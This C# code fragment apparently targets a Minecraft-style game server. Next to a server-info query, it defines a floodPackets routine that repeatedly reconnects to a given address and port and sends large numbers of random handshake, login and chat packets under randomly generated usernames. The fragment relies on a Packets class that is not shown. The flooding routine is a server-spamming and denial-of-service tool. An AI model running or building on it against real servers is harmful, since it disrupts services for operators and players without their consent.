public static void getServerInfo(string address, int port) { Packets.handshake0x00(address, port, 1); Packets.request0x00(); Packets.response0x00(); sock.Close(); }
// TODO test public static void floodPackets(string address, int port, int count) { Program.connect(address, port); for (int i = 0; i < count; i++) { if (Program.sock != null) { if (!Program.sock.Connected) { Program.connect(address, port); } } else { Program.connect(address, port); } int x = r.Next(10); Console.Write(x); if (x == 1) { Packets.handshake0x00(address, port, 1); } else if (x == 2) { Packets.handshake0x00(address, port, 2); } else if (x == 3) { Packets.chatMessage0x01(randomUser(30)); } else if (x == 4) { // might crash us Packets.keepalive0x00(); } else if (x == 5) { Packets.loginStart0x00(randomUser(10)); } else if (x == 6) { Packets.request0x00(); } else { Packets.handshake0x00(address, port, 1); } } }